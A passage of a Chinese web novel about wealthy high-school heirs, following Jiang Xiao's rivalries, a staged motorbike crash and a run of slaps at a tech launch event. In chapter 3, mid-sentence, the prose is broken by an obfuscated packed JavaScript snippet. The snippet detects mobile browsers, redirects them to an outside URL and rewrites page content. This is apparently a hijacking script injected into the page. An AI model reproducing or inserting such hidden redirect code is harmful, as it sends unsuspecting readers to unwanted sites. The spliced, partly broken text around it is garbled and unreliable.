嘈杂之中,姜潇叫住崔聿,“诶,你的外套。” 她笑容清浅真诚,鞋跟却恰好落在暗金色的名牌上,辗转研磨。 “太抱歉了,崔聿,”姜潇说,“我让人洗干净再还给你,好吗?” 崔聿瓷白的额角有淡青色的筋脉突起,薄唇绷成一条直线,确是盛怒待发的模样。 半晌后,他却扯动唇角,讽意十足地笑了。 崔聿厌恶至极地睨视着姜潇,说,“不用了,垃圾。” 转身离去。 不知道是在说他的外套,还是弄脏外套的那个人。 3. 吃过生橄榄 放学时分,各色豪车将盛禾高的正门堵了个水泄不通。 白宥珠挽着姜潇的胳膊走出来,一脸不忿,“崔聿这个狗崽子死定了,我回去就让Queli的员工给他下黑水!” 姜潇失笑:“你还记着早上的事啊?” 白宥珠对崔聿那声阴阳怪气的垃圾耿耿于怀,姜潇本人倒感觉良好。 人生就是这样啊,有来有往才够意思。崔聿骂她,她再报复回去,这叫师出有名,完完全全的正义之举。 “下什么黑水?”姜潇亲昵地点了点白宥珠的鼻尖,“盛禾财团的接班人崔聿每天要洗八次澡?碰到价格低于六位数的物品会晕倒?” “算了吧,宥珠,不痛不痒的。” “我不像你那么大度行了吧?” 白宥珠瞪她,颇有些恨铁不成钢的意味,“还有,闵世珍的事算她活该,你干嘛留在会议室里安慰她?网球课都迟到了,害我一开始只能跟赵书雅做搭档,她打得超烂!” “闵世珍说不定觉得你在看她笑话呢,才不会记你的好,而且……”白宥珠轻蔑地撇嘴,说,“那种人的感激,什么用也没有。你也不怕被那些不知死活的人缠上!” “哪有你说得那么夸张。”姜潇眨眨眼睛,“世珍看着叛逆暴躁,其实脸皮很薄,不会像你一样缠着我的。” 白宥珠气不打一处来:“好啊你,拐弯抹角地骂我厚脸皮!” 姜潇不置可否地笑笑,故意晾她一会儿,才放软语调哄人,“开玩笑啦,是我不会允许她像你一样缠着我的,我知道宥珠是最珍惜我的朋友。周末打完高尔夫,一起去逛街吧,就我们两个人,你想买什么都可以。” 白宥珠很好哄,兴奋地叫了一声,抱紧她的胳膊连蹦带跳,栗棕色的低丸子头在脑后晃来晃去,“你说的,只有我们两个人!发誓!” “我发誓。”姜潇无奈点头,“行啦,我看到助理姐姐了,你早点回家休息,不要到处鬼混。” “我没有到处鬼混,”白宥珠松开她,委屈巴巴地反驳,“我都是在固定地点鬼混——好吧,给你个面子,我也回家了。” 白宥珠狡黠一笑,炮弹似的射进车里,这才把脸趴在窗边说,“因为今天我要把‘鬼’都叫到家里!” 见姜潇要开口叮嘱她,白宥珠立刻捂住耳朵,嚷道,“不准唠叨,不准唠叨,我今晚必须找点法子泻火!” “……我是想说,注意身体。” 姜潇目送白宥珠远去,叹了口气,等在路边的宋助理适时拉开车门,她微微俯身,随即顿住,讶异地挑眉,“你怎么在这儿?” 后座的男人刻意前倾上半身,以便仰起头看她,蓬松短发在阳光下呈现巧克力般的色泽,杏眼圆钝,眸中是一泓纯粹浓艳的宝蓝色,仿若高贵神秘的暹罗猫。 “因为想你。”他轻声说,含笑凝望着姜潇,竟不舍得眨眼。 宋助理忍着笑解释:“瀚元少爷早就想来了,可惜会长拉着他又是插花又是喝下午茶的,这会儿才放人。” “没有,我很乐意陪世英阿姨的。” 文瀚元红了脸,坐正,给姜潇让出位置,坚持不过三秒,又歪身靠去,脸颊贴在她的肩膀上,“但更愿意陪你。” 文瀚元是万鹭联运文艺琳会长的独生子,母父都是本国人,他偏生一副混血儿的模样,据说是隔代遗传,随了祖母。 姜潇小时候觉得文瀚元像鬼,不乐意搭理他,可耐不住文瀚元热情又体贴,只好捏着鼻子把他收为跟班。 后来,姜潇年岁渐长,眼界渐宽,学会欣赏那种精致而锐利的混血感,长开后的文瀚元存在感又越来越强,她一不留神,把人笑纳了。 唉,色令智昏! 文瀚元不是能用钱打发的人,艺琳姨姨又跟她的母亲十分亲近,真闹起来,很难处理,好在他一如既往的体贴,没有因为索要名分做出什么上不得台面的事情,姜潇也就随他去了,对那些恋爱传闻采取既不承认也不否认的暧昧态度。 汽车缓缓驶离盛禾高。 车窗外,有三两个身穿墨绿色制服的学生低头慢行,渐渐的,人影被模糊的街景吸入,与路边摇曳的草木连成一片深绿。 仅有一人,身形挺拔,戴着眼镜的侧影清逸锐利,似乎是裴知灏。 姜潇漫不经心地收回视线。 文瀚元抱着姜潇,轻声问她今天做了什么、过得怎么样。 姜潇不回答,他也不追问,知道自己越界,把额头抵在她的颈窝,脸颊轻蹭她的肩膀,无言地认错。 得到默许,文瀚元收紧怀抱,满足地闭上眼睛。 后座终于安静, 宋助理坐在副驾驶,借着后视镜看向姜潇,温声问,“小姐,现在是下午五点整,星烨科技将在七点举行新品发布会,会长让您代她去露个脸。今晚的补习要帮您推掉吗?” 文瀚元停下用脸颊蹭姜潇肩膀的动作,屏息等待她的回答,手指不停在姜潇掌心画勾。推掉! 姜潇抓住他的手腕,警告性地捏了捏,“不用,补习延后半个小时就可以了,麻烦你通知一下补习老师。” “好的。”宋助理说,“那我们现在先去明泉洞?化妆师已经等在工作室了。” 得到肯定的回答,宋助理立刻升起挡板,隔断文瀚元幽怨的目光。 “你今天做什么了?”姜潇推开文瀚元的脑袋,态度冷漠,带着卸下伪装的淡淡疲惫感,长睫低垂,掩住清亮眼眸。 文瀚元并不因她这样的态度感到失落,反而更加开心。旁人都见不到这样的姜潇,只有他是特别的。 母亲文艺琳跟姜世英会长私交甚密,文瀚元又从小就爱跟着姜潇转悠,说他是姜家的家生子也不过分。姜潇愿意用轻慢的、不得体的态度对他,正是她信任他的表现。 文瀚元想着,只觉得甜蜜,眼尾微微下弯,又去勾她的手指,“宋助理说了呀,插花,喝下午茶。” 读出姜潇眼中微妙的鄙夷,文瀚元清了清嗓子,凑到她耳边说,“我吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055001|194855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了生橄榄,当时感觉很涩口,但现在已经回甘了,要不要试试?” 呵出的热气在姜潇耳畔缭绕,隐约能嗅到清甜特别的木质香气。 文瀚元的确了解她,明白她在取悦自己方面的强烈需求,若是平时,姜潇已经顺水推舟地接纳他了,可惜,今天的她把心思放在了别处。 姜潇将手搭在他脸上,缓慢收拢手指,揪住一小块渐渐发红的皮肤,身体后仰,拉开距离审视着他,冷声问,“除此之外呢,没有看书吗?” 文瀚元的肤色介于黄与白之间,在光线充足的情况下,会呈现冷白的质感。 而此时,汽车驶入隧道,光线昏暗,他被捏着脸,怔怔地看着姜潇,整个人像被蒙上一层暗纱,仅有眼睛奇亮,莹莹的蓝几乎满溢出来。 可怜兮兮的。 姜潇却没有心软,反而恶劣地勾唇一笑,松开手,说,“没有吗?难怪,你会被一个南部升上来的孩子超过,瀚元,拥有这么多资源却不珍惜,是罪过啊~” 文瀚元在她戏谑的注视中,徐缓地直起身子,手背蹭过发红的脸颊,眸光渐暗,“谁?”他的声音低沉,因竭力克制情绪而轻颤。 姜潇佯装不知:“哪一个?说实在的,超过你的人有点多,毕竟你是以第六名的身份升的学。” “那个南部的孩子。”文瀚元说,垂落在大腿上的双手紧握成拳,青筋暴起,眼神却已然变得温良,“你不是说希望我超过他吗,不问清楚,我怎么确立目标啊?” “我有说希望你超过他吗?我是说你活该。” 姜潇说着,解开发绳,揉散一头乌黑的长发,侧躺下,把头靠在文瀚元的大腿上,掩唇打了个哈欠,“裴知灏,那个孩子叫裴知灏,想证明自己的话,下次就超过他吧。” “我睡一会儿,到明泉洞叫我。” “嗯。”文瀚元垂下眼睑,手搭在她的肩头,轻拍,“我会超过他的,潇潇。” 然后除掉他。 目光毫无顾忌地凝在姜潇合拢的长睫上,文瀚元悄悄将她的发丝勾在指尖,一圈又一圈,缠绕,收紧。 啪!清脆的一响,姜潇抬手扇过他的下巴,闭着眼,不耐烦地说,“不许动。” “好。”文瀚元轻笑着亲了亲她的指尖,另一只手接住她的手,握住,放在腿上,“我绝对不会再动了,你睡吧。” 姜潇补充:“也不许盯着我。” 她微抬起头向里挪了挪,找了个最舒服的地方,垫着,小憩,呼吸越发绵长。 “好。” 文瀚元抬起头,落在车窗上的眼神却没有聚焦。 汽车在繁华的街道间穿行,光影变幻,一张没有表情的俊美面庞拓印在深灰带闪的玻璃上,透出森森鬼气。 文瀚元感受着她压在大腿上的重量与温度,微微闭眼,缓慢而克制地呼吸。 忍耐。 压下让他想要颤抖的杀意,以及,会让身体出现变化的欲念。 不要影响她休息。 4. 犯蠢的 姜潇这一觉睡得并不好,醒来时,眼角眉梢都渗着浓郁的戾气。 准确地说,她几乎从未睡好过。 此处的“睡”表示一种休息状态,而非后面可跟人名的动词。 漫天的硝烟、开裂的土地、怪异的嚎叫、淋漓的鲜血、摇晃的视角,构成她的梦境。 从有记忆开始,便是如此。 姜潇有趁着游学的机会找国外的医生看过,医生推测是创伤后应激障碍,可以用药治疗,但她拒绝了。 她也查过资料,从出生到现在,世界各地好像没有发生过梦中的事件。 也许……这是来自她未知血亲的诅咒,一种精神疾病。 姜潇早就知道,她和母亲姜世英没有血缘关系。 庆英集团老会长姜庆延的独生女,姜世英,没有生育能力,为了符合“稳定可靠”的传统印象,联合前议员之子跟不知从哪来的姜潇,演了这出戏。 一个模范家庭。 一个完美的继承人。 这就是姜潇需要扮演的角色,也是她存在的意义。 她应该是完美的。 姜潇为此竭尽全力。 然而越想接近完美,她离完美就越遥远。 没关系,表面完美就足够了。哪怕她的内心是散发着恶臭的泥沼也没关系。 姜潇避开庆英的医疗体系,去国外寻求一个答案,没有结果,那就不要深究、不要开药留下痕迹——在她完全掌控集团之前,在她不再害怕被抛弃之前。 为了不失去拥有的一切,她可以忍受任何苦痛。 “醒了?” 文瀚元轻声问,伸手将她的一绺头发顺至耳后,眼波清净明澈,眼下的皮肤有些发红发肿。 姜潇知道肯定是自己在半梦半醒间扇了他耳光,蹙起眉,用责备的口气问,“谁让你乱动的?” 文瀚元没想提起这回事,蓝宝石般的眼眸中闪过一丝心虚,暗淡下来,“我怕脸边的头发让你觉得痒……以后不会了。明泉洞到了,下车吧。” 姜潇没再说什么,等宋助理拉开车门,鞋底落在芝麻灰花岗岩地砖上,走了两步,见他没跟过来,歪了歪头,“不一起吗?” 长发由肩向下流泻,被粉橙渐变的晚霞染成深紫,轻盈舒缓,是世间最华丽珍贵的披风。 文瀚元的眼睛亮起来,抿唇,保持半步的距离,跟姜潇进了造型工作室。 在外人面前,文瀚元向来不会表现得太过亲密。适度的模糊绯闻能提高他的存在感,像一枚姜潇常戴的、闪闪发光的胸针。 但要是暧昧过度,变成一种固有标签、一个没有价值的头衔,姜潇会毫不犹豫地撕掉它,连带着他一起,揉成团丢进垃圾桶里。 文瀚元以为是自己的“知趣”换来了更多相处时间,其实,姜潇只是因为没有睡“好”,心情憋闷,想在等会儿“睡”好。 工作室明亮宽敞、风格简约,有着与地段不符的恬适安静,无关人员被提前清走了。 姜潇去了里间换衣服,宋助理在外等候。 化妆师递上插着吸管的一纸杯水,文瀚元接过,翘起嘴角道谢,白净面颊上凹出小小的酒窝。 “谢谢化妆师姐姐。” 文瀚元的风评一向很好。 为人和善,讲礼貌,不像崔聿那么傲,也不像权在烨那么疯,长相又是不讲究发型、穿搭、氛围感的硬帅,一张留着平头的国中证件照风靡全网。 可惜那张照片后来成了十大渣男爱用头像之一,文瀚元气得,烧掉照片犹嫌不够,把灰烬戳成了无数几不可见的微粒。 化妆师被他看得脸红,摆了摆手,嗓音不由自主地放柔,“不客气,瀚元少爷,您是姜小姐今天的男伴吗?我帮您……” 她的目光落在文瀚元轻微红肿的脸颊上,欲言又止。 文瀚元意味不明地微微一笑:“不用遮,可能是有点过敏。请你帮我做个发型就好。” “好的。请您先换衣服吧。” 一套设计中规中矩、但质感不错的海蓝色塔士多礼服,宋助理早些时候叫人准备的。 文瀚元走到全身镜前,悠然打着领结,凝视镜中的自己,眼神发冷,心下嗤笑。没品位,遮什么遮,这是潇潇留下的、最好的妆饰。 他的头发不算很短,做造型很方便。 自国中以后,文瀚元再也不允许他的头发长度短于六厘米,非常决绝地要跟那个平头渣男形象做切割。 化妆师非常专业,根据文瀚元的脸型,挑起额前部分头发,定型,做出三七分的侧背头,另一侧刘海微微过眉,遮住小半额头,弱化五官攻击性、增强漫画感的同时,又不至于显得幼稚。 是很沉稳、温和的帅气。 宋助理十分满意,偷偷拍了一张,发给姜潇。 [小姐,瀚元少爷的造型做好啦~] 结尾标点特意用了波浪号,表示此男拿得出手。 要是今天的造型翻车了,宋助理会以句号结尾,比如:小姐,快跑。 当然,跟文瀚元有关的讯息,宋助理很少使用句号。大小姐自留款就是让她省心。 姜潇回得很快:[ok~] 显然她也很满意。 里间的门立刻就被拉开了。 造型师给姜潇准备的是一套正式但不会过于隆重的穿搭,纯黑的船领针织上衣和深海蓝真丝裙裤,鞋子是与裙裤同色的玛丽珍平底鞋,足够应付星烨科技的新品发布会。 妆很淡很清透,以遮住眼下的淡青为主,两颊与唇瓣泛着柔润的釉光。 姜潇在文瀚元身前站定,上下打量片刻,微笑着说,“很适合你。” 文瀚元心跳得很快,脑子一阵接一阵地发晕,紧抿着唇,定定地看着姜潇,好一会儿,才说,“是吗?” 他不由自主地翘起嘴角,声音略微嘶哑,“我们很配。” 听到身后化妆师的偷笑,文瀚元慌乱地解释,“我是说,我们穿的颜色,很配。” 他觉得自己说了蠢话,紧张地观察姜潇的脸色,暗暗地轻咬舌尖。 谁知姜潇没有生气,笑容柔和而真诚,没有半点客套虚伪的意思。 “当然了,你是我的男伴嘛。”她绕着文瀚元走了两步,自然地挽住他的胳膊,“走吧?” 文瀚元掐着掌心,感觉脚下不是地面,而是软绵轻飘的云朵,恍恍惚惚地随她上车,微微侧脸,看着车窗上的倒影,提醒自己这不是一场美梦。 她很喜欢……这个发型吗?文瀚元暗中揣测。 姜潇上车之后,开始预习今晚的补课内容,一路无话。 文瀚元悄然注视她上扬的嘴角,心里甜滋滋的。真好,潇潇没有不准他看她。 他决定雇用那位化妆师,来给他做发型,每天都做。 果然,冥冥之中,自有平衡。文瀚元心想,他在留平头时期受到的屈辱,终将被另一个发型带来的幸运抵消。 汽车驶入星烨科技总部,平稳地停在按剧院风格建造的会议中心前。夜凉如水,此地却亮如白昼。 克莱因蓝的展示板排列在入场通道两侧,构成一条气派又神秘的长走廊。新品代言人,Celes娱乐旗下演员梁蕊儿,正在一侧展示板旁拍打卡照,刺眼的白光闪个不停。 姜潇不急着下车,继续用平板翻看课件。 白宥珠跟Celes代表理事的小孙女梁惠儿闹过矛盾。梁蕊儿是梁惠儿的远房表姐,为表忠心,在社交平台上没少内涵白宥珠。 姜潇想等艺人团队进场再下车,免得碰上,留下一张会被媒体描述为“相谈甚欢”的合照。 光是想象白宥珠跟她闹脾气的场景,就够姜潇头疼的了。 “蕊儿姐。”梁蕊儿的助理眼尖,借着补妆的间隙,凑到她的耳边,“那好像是……” 助理突然停下,做了个“庆英”的口型,继续说,“的车……” “没出息,都凑到我耳朵边了,还不敢把话说完吗?” 梁蕊儿不耐烦地单指推开助理的脑门,假装捋头发,飞快地向外瞟了一眼,压低声音,“真是,继续拍!” “姐,你说什么?”摄影师疑惑地停下动作。 呵呵,你也不是很有出息嘛……助理在心里吐槽,扯了扯嘴角,假笑着回答,“没什么,姐想趁状态好多拍几张。” 梁蕊儿挺胸抬头,不停摆造型,一连拍了许多张。 庆英集团旗下的护肤品牌与现任全球代言人的合约即将到期,圈内都在观望,她这会儿晒出跟庆英高层的合照,吸一波流量,就算最后没抢到代言,也够粉丝跟别家撕上一段时间了。 到时候大不了把事情推给对家恶意营销,她只是参加活动拍拍照,没想到被捧杀了,好可怜~稳赚不亏。 梁蕊儿美美想着,把手搭在祖母绿宝石项链上,转头,对着相机露出她线条流畅的左脸,微晃的宝石耳环熠熠生辉。 下一秒,梁蕊儿的美梦就在眼前破灭了。 一辆火红的摩托车飞驰而来,直直撞上黑色汽车尾部,发出令人心悸的巨响。 戴着头盔的人因惯性飞出,狠狠砸在后挡风玻璃上,随即滚落在地。 哗啦啦啦,这不是玻璃破碎的声音,是梁蕊儿心碎的声音。 哪来的神经病,要是伤到车里的贵人,她就拍不成合照了! 谁也没想到,有人敢在星烨科技总部的园区内飙车。 经验丰富的宋助理也没想到。 宋助理刚准备向姜潇提议赶走梁蕊儿一行人,突然听见低沉持续的轰鸣声,才抬起头,巨大的推背感袭来,身体便不受控地向前倾去—— 还好系了安全带。 宋助理拍了拍胸口,和司机对视一眼,同时回头,焦急地问,“没事吧,小姐?” 后挡风玻璃已经碎出了蜘蛛网,所幸没有炸开,姜潇坐在座位上,面无表情。 文瀚元担忧地看着她,却不敢擅自抓住她颤抖的手、出言安慰。她需要的从来不是安慰。 姜潇的确被吓到了。 在推背感袭来的那一瞬间,她感觉自己被丢进了梦中的世界,血腥而失控的世界,开始无止尽地下坠,全身细胞都因恐惧冻结,做不出任何反应,直到碰撞声将她拉回现实。 姜潇缓慢地眨了眨眼睛,笑意浅淡,“没事。” 她回头看了一眼布满裂纹的挡风玻璃,拉开车门,径直走向肇事者。文瀚元立刻跟了出去。 宋助理看向入场通道,按住司机握方向盘的手,轻轻摇了摇头。“在这多停会儿。”她小声说,“要涨工资了。” 车外,男人摇摇晃晃着站起来,脱去头盔,露出一张苍白的脸庞,血珠顺着英挺眉骨滴落,长相跟文瀚元有三分像,但眼珠不是宝蓝色的,眼形较之更为狭长,整体看着更高壮、更具攻击性,气质桀骜不驯。 “这就吓到了?” 权在烨将头盔丢在姜潇脚边,歪了歪头,深棕色眼珠因兴奋而颤动,咧嘴而笑,一滴血啪嗒落地,“是你吧,害我被禁足——” 啪! 权在烨被重重甩了一巴掌,歪着的头又被打正了。五指印浮上脸颊,迅速发红发肿。 会场里的人在巨响出现的时候便纷纷涌了出来。 权父本就因权在烨惹事而脸色发青,此刻见儿子被打,脸色更是青上加青。 姜潇佯装没有发现逼近的权父,抢在他开口前,义正言辞地大声说,“没错,是我告诉权会长你深夜带人去新北区飙车的事实,害你被禁足的!” “就算你今天用这样低劣的手段报复我,再来一次,我也不会后悔那样做,更别提害怕了!” 文瀚元站在姜潇身侧,惊讶又痛心地睁大眼睛,“表哥,你太任性了,我以为你在禁足的时候会好好反思自己的……” “新北区有多家养老院,就算你不爱惜自己的身体,也要为别人多考虑考虑吧?” “再说今天,就算我和潇潇没事,可司机大哥已经五十多岁了,一身的基础病,经不起你这样报复的!你都不会觉得愧疚吗?” 宋助理闻言,把司机按倒在方向盘上,披上自己的外套,遮住他手臂上明显的肌肉线条,半降车窗,带着哭腔说,“救护车马上就来了,坚持住,别睡过去!” 司机虽然认为自己正当壮年,但也无法抗拒涨工资的诱惑,趴在方向盘上,哎哟哎哟地叫着,犹觉不够,身体诡异地抽搐起来。 宋助理暗中咬牙,使力按住司机的头,免得被媒体拍到他似笑非笑的表情。老同事的演技什么水平,她心里还是很有数的。 这头演得热闹,那头议论纷纷,偏偏肇事者兼主角之一的权在烨反应不过来、完全接不住戏。 权在烨抬手,指尖轻触红肿的脸颊,神情有一瞬的茫然,姜潇真的打了他? 她真的敢打他? 权在烨捻搓着染上指尖的血丝,回想过去,她害他被父亲揍了无数次、禁足了无数次,却从没有像今天这样,真切地、皮肉相贴地……亲手打他。 他今天做的事难道真比之前的都过分吗?姜潇难道真的在意那群不相干的老家伙的死活吗?她凭什么真的生气? 心头火起,权在烨对文瀚元大吼,“闭嘴,这里没你说话的地方!别人?随便他们去死——” “混账!”权父咆哮。 权父并不恼怒于权在烨生性顽劣,只气他蠢,不分轻重,不看场合。 新北区一事,权父会动怒禁足权在烨,也不是因为他很有公德心,而是因为那里住了几个很有分量的老家伙。 若非姜潇,权父还不知道那群老家伙给他甩脸色、让他下不来台的原因。权父是个把脸面看得比什么都重要的人,就算知道姜潇没安好心,也气哄哄地往坑里跳下去了。 都怪他的蠢儿子,总是给人留下话柄。 啪!又一个清脆的耳光,带起一阵冷冽的夜风。 权父刚举起的手僵在空中。 姜潇慢悠悠地收手,对上权父惊愕又震怒的眼神,蹙起眉,眼中带泪,“唉,权叔叔,我实在是太替您痛心了。” 权家父子默契地死盯着虚伪的姜潇。 良久,权父扯了扯唇,干巴巴地说,“是我管教不力。” 权父心里有火,但不好当着许多媒体的面发出来,扭头责问匆匆赶来的安保团队,“谁让你们放他进园区的?” 安保队队长嗫嚅:“少爷一直都可以……” 被身后人戳了一下,安保队队长紧急改口,“少爷说他想骑着自己设计的机车来参加新品发布会,用他的方式表达对您的支持和对星烨的感情,怪我们没有及时检查制动系统,这才刹车失灵,撞上了姜小姐的车。” 刹车失灵?没错,这就是一个意外,才不是他儿子的蓄意报复。 权父眉头舒展,和蔼地伸手轻拍姜潇肩膀,“对不起啊,潇潇,这次的新品发布会正好撞上星烨科技的八十周年,在烨一时情急,不那么正好地撞上了你的车,你应该能理解吧?” “这样,叔叔作主,赔你一辆一模一样的新车,或者你随便挑个喜欢的,给叔叔个面子,你打也打了,别跟在烨闹脾气了,你们从小就认识,知道他不是个坏孩子。” 姜潇不动声色地拂开权父的手,平和地说,“这可不是面子的事情,权叔叔。不过你说得对,在烨不是坏孩子,只是个一直不如在娜姐稳重优秀的笨孩子,我个人当然愿意包容他。” “听说这次的新品发布会是在娜姐负责?大家别在这耗着了,都进去吧,因为一场意外浪费在娜姐的心意就不好了。别的事,等发布会结束我们再说。” 权父的眼皮抽了抽,听这语气,姜潇不从他身上咬一块肉下来是不可能罢休的了。肉疼,但耽搁了发布会只会更加肉疼。 他干笑着说了声好,招呼众人进场。 姜潇等司机被庆英派来的救护车拉走,这才转身,对着权在烨挑眉,“怎么还没进去,这会儿又不急了?” 文瀚元守着她不走是意料之中,权在烨这样做,倒是诡异得很。 权在烨眉头紧锁,哼了一声,指了指刚被包扎好的脑袋,说,“你家的蠢货医生动作太慢,我的伤口都快愈合了,不然我用小红再撞你一次?免得显不出你们庆英的水平。” 平心而论,那辆摩托车的形状和造价都与“小”不沾边,但谁在乎呢?至少权在烨不在乎。 他随口一说,扭头寻找“小红”,可惜那辆完成使命的机车已经被拖走了,只好啧一声,无所谓地耸肩,“算你走运,改日再撞吧。” 文瀚元轻笑:“别犯蠢了,表哥。” “皮又痒了?”权在烨懒懒抬眼,挑衅地看向文瀚元。 文瀚元晶亮的蓝色眼眸暗下来,笑容淡去,垂在身侧的双手渐渐收紧。 他穿着正式的礼服,做了发型,迎着漫溢而来的灯光,全身上下,就连头发丝都被光芒勾出了金边。 权在烨却穿得很随意,冲锋衣配工装裤,头上还裹着可笑的绷带,棕发凌杂乱翘,逆着光,是一个被许多灰暗色块拼凑出来的人,很狼狈。 文瀚元和这样的权在烨相对而立,本该底气十足, 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简直有辱他权在烨二分之一的家门。 好痒。拳头好痒。权在烨盯着文瀚元,攥紧拳头。 想让那张和他略有相似的脸蛋再也做不出那么恶心的表情。 依赖的、崇拜的、爱慕的表情,恶心! 姜潇的视线在这对表兄弟之间扫了个来回,思索片刻,恶趣味地勾唇,抬脚,慢吞吞地靠近权在烨,声音软软的,“是哦。” “犯蠢的——” 姜潇刻意拉长语调,惹得两人下意识屏住呼吸,等待她的判决。 姜潇伸手,指尖隔着空气,轻缓地描摹权在烨的脸部轮廓,从上到下,像在重现血珠滑动的轨迹。 最终,她的手指路过敞开的衣领,停在男人的锁骨中央。 权在烨紧张地吞咽了一下。 喉结如嶙峋山石滚落,沉重、疾速,半途收住下坠的趋势,又变得像一颗气泡,悄然轻缓地上浮,像在害怕惊扰什么东西……或者人。 权在烨觉得自己中邪了。 他应该用力推开她、嘲讽她、激怒她。 他应该那样做的,毫不犹豫地那样做。 可他没有。 他像被掐住了脖子,说不出一句恶毒的话,像被绑住了手脚,无法动弹、无法反抗。 全身上下唯一自由的部分,是心脏。 姜潇肯定感觉到了,他失序的、剧烈的心跳。 权在烨垂眼,复杂目光在她的唇珠上凝结。 她要笑了。 是要嘲讽他? 还是说,要肯定他刚才的话? 甚至……亲吻他? 权在烨被这个念头烫了一下,慌忙抬起眼睫,故作凶狠地瞪着姜潇。 她还在微笑。 心里不受控制地涌起期待。 虽然姜潇向来不识抬举、没眼光,但万一……呢? 为着这几不可能的万一,权在烨忍着没动,尽管他的四肢在疯狂颤抖、全身上下的每一个细胞都在叫嚣着反抗。 “是哦,犯蠢的——” 姜潇欣赏够他这副纯情少男的模样,停在锁骨中央的手指再度下移,捏住拉链头,唰地向上狠拉。 冰冷金属物贴着权在烨的脖颈飞过,一小块皮肤被卷入拉头、撕裂,豆大的血珠瞬间冒出,又被迅速合拢的衣领掩盖。 “犯蠢的人,是你。” 权在烨抖了一下,紧咬着唇,看着她退开,心竟痛得比脖子还厉害。 文瀚元缓慢地眨了眨眼睛,微笑,像是松了一口气,又像在说“果然如此”。 姜潇松开手,后退一步,挽住文瀚元的胳膊,笑眼弯弯,“下次再发疯,可没这么轻松,听到了吗?权——在——烨——” 权在烨看着她,想的居然是:姜潇第一次对他笑得这么真诚、开心。 “听不到。”权在烨扯唇,看上去心情不错,“有本事打死我,没本事就受着。” “那你受着吧。”姜潇翻了翻眼皮,带着文瀚元饶过他往里走。算完权在烨的账,该去找他爸了。 通道两侧的展示板闪闪发光,记录着星烨科技的发展史,八十年前、七十九年前、七十八年前……由远及近,会场内的讲话声也越发清晰,是权在娜在致辞。 权在烨凝望着她的背影,安静片刻,追了过去,脸上挂着惯有的、无所谓的笑意,却莫名显得苦涩。 去他爹的。权在烨自暴自弃地想:也许他跟文瀚元相同的那二分之一血脉里,就是混着点狗血呢?能怪他吗? 文瀚元能当狗,他也能,他还比文瀚元那个臭舔狗更特别、更有活力。 早晚咬死她。 权在烨默默给自己洗脑加打气,知己知彼,百战不殆,他接近姜潇是为了狠狠报复回去,让她痛不欲生、追悔莫及! 权在烨跟在两人身后,清了清嗓子,“咳!” 姜潇和文瀚元不搭理他,径直向前走。 权在烨不甘心,还想制造出声音强调存在感,脖颈处的伤口却因此更加疼痛。 “嘶——”他倒吸一口凉气,隔着衣料按住脖子,恶狠狠地说,“这是我家的地盘,要进去也是我先进去!” 姜潇站定,不耐烦地侧身,“请。” 文瀚元佯装不满,嗔道,“你对蠢货的容忍度也太高了,潇潇。” 权在烨没管文瀚元在狗叫什么,他盯着两人相握的手,感觉更不舒服了,脖子痛、眼睛痛、头痛,哪儿都痛。心最痛。 这些痛苦程度不一,却有着同样的境遇,一样被遮掩,不能吐露,也无人在意。 权在烨心里不爽,贱兮兮地抬高下巴,睥睨着,“你让我走我就走啊?那我偏——” 啪!姜潇飞快地扇了他一耳光,扭头就走。 权在烨呆住。 文瀚元对着他做了个“蠢货”的口型,含笑去追。 “姜!潇!” 权在烨暴怒,追过去,临近了却感到迷茫,咽不下这口气,又不敢真打她骂她,只好戳着一侧展示板上的年份,喋喋不休, “十二年前,郊游,你在我路过的时候伸脚,害我摔进河里!我现在还能想起蝌蚪在嘴里游的感觉!” …… “九年前,你瞎扯什么顶端优势,举着把剪刀来说可以帮我长得更高!要不是保姆及时发现,我差点不能人道!虽然我现在也还没走过那什么人道,啊啊啊,不是——我是想说!你差点毁了我一辈子!” “而且,我192.48厘米的身高也不需要你莫名其妙的帮助!听到了吗!192.48!” “不对,是我不需要你的帮助,不只是我192.48厘米的身高!” “你听到了吗!你这个坏女人差点毁了我一辈子!” …… “六年前,你——” 姜潇猛地转身。权在烨下意识捂着脸向后跳开,见她没打算抬手扇人,又放下手,恶声恶气地问,“干嘛!” 姜潇假笑:“您说完了吗?马上进会场了,你不要脸我还要。” “没说完!”权在烨大吼,又在姜潇含笑的注视中,舔了舔唇,小声说,“还有一句……” 文瀚元完全没眼看,嫌恶地别开脸。 姜潇皱眉:“给你五秒钟,不然你将迎来今晚的第四个巴掌。” 权在烨咽了咽口水,指着展示板上加大加粗的“今年,星烨科技的第八十年”,没什么气势地快速说, “今年,我会让你知道,我是你惹不起的人。” “晚安。” 听完,姜潇微笑着说,用的是刻意却软甜的嗓音,她只有使坏的时候会这样说话,对权在烨而言,就像喂狗吃了一大块巧克力。 晚,安? 是什么意思呢? 为什么突然对他撒娇? 权在烨呆呆地看着姜潇转身,推开会场的大门,纯粹的白光将她淹没,好像在引领他走向天堂。 下一瞬,“天使”身旁的“魔鬼”文瀚元回过头来,笑着说了句话,把他打回地狱。 “好梦,表哥。” 好——梦—— 她居然把他的宣言当成梦话! 这个坏女人死定了! 权在烨回神,羞恼地红了脸,往前迈了一步。 嘭!门板撞酸了他的鼻子。 权在烨盯着合拢的大门,眼冒泪花。 这下好了,鼻子也痛! 5. 刚刚 深夜,盛禾高论坛里出现了一个帖子。 发帖的和回帖的都是匿名账号。 [刚刚,QZY被扇了三个耳光。] [楼主:标题党致歉,其实并非刚刚,是三个小时零二十一分钟之前,别问楼主为什么记这么清楚!因为楼主自己会说——本人不爽QZY很久了!不爽的原因就别追问了宝贝们,嘘,再问就伤自尊了,不过……这下爽了!哈哈哈哈哈哈哈哈哈哈哈!!!] [1楼:0个人好奇楼主不爽Q的原因。] [2楼:疑似被QZY揍死前的幻想。] [楼主回复:真的!亲眼所见!就在星烨科技总部,具体原因不便多说,只能说此男言行无状,被JX怒扇三大巴掌……] [3楼:情有可原。] [4楼:情有可原。] [5楼:情有可原。] …… 